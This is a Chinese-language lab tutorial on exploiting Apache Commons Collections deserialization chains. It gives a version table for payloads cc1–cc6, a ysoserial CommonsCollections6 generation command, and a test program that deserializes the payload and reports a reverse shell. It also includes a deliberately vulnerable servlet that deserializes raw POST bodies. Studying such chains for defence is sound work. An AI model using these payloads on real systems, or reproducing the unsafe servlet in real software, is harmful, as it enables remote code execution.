经典的反序列化利用链:Apache Commons Collections
Apache Commons Collections
是一个扩展了Java
标准库里的Collection
结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
Payload | 适用cc库版本 | 适用Java版本 | 其他限制 |
cc1 | 3.x < 3.2.2 | jdk8 <= 8u71 or jdk7 or jdk6 | 无 |
cc2 | 4.0 | 无限制 | 无 |
cc3 | 3.x < 3.2.2 | jdk8 <= 8u71 or jdk7 or jdk6 | 无 |
cc4 | 4.0 | 无限制 | 无 |
cc5 | 3.x < 3.2.2 | jdk8 >= 8u76 or jdk6 >= 6u17 | 目标Java缓解未设置securitymanager:System.getSecurityManager() == null |
cc6 | 3.x < 3.2.2 | 无限制 | 无 |
Commons Collections
在3.x < 3.2.2
及4.0
这些版本中存在反序列化漏洞
当目标Java应用依赖库里包含存在漏洞的Commons Collections
库,且对由攻击者可控的数据进行反序列化时,会造成任意代码执行。
以ysoserial
里Commons Collections6
这个payload
为例。
利用类库进行Java反序列化
将含有漏洞的jar包复制到lib目录下,然后右键添加为库。
或者以maven
形式将依赖导入
访问https://mvnrepository.com
选择有漏洞的版本
使用maven
进行依赖导入即可
访问是.class
文件
从openjdk查找对应版本的源码,下载
解压默认jdk
中的src.zip
压缩文件
然后将C:\Program Files\Java\jdk-af660750b2f4\src\share\classes\
目录中的sun
文件夹复制到C:\Program Files\Java\jdk1.8.0_65\src
中
在项目结构中添加src
路径
可以看见.java
源码,能够正常调试
maven
中的包可以右上角直接下载源代码
在jdkk1.7.0_21
环境中使用cc6
链生成一个cc6.ser
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollections6 calc > cc6.ser
查看cc6.ser
,存在以aced0000
开头
执行payload
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class testcc {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.ser"));
ois.readObject();
ois.close();;
}
}
成功反弹shell
Java Web
环境:jdk1.8.0_319
,javaEE8
,commons-collections-3.2.1
写一个简单的servlet
package com.example.cc_demo;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.ObjectInputStream;
@WebServlet("/SerialServlet")
public class SerialServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream objectInputStream = new ObjectInputStream(request.getInputStream());
try {
objectInputStream.readObject();
objectInputStream.close();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}
访问:http://192.168.11.1:8088/cc_demo/SerialServlet
jdk1.8
生成cc6.ser
改成POST
,引入cc6.ser
如果导入的文件前面不是aced0000
,则需要将Character Sets
改为Display as raw bytes
发送反序列化数据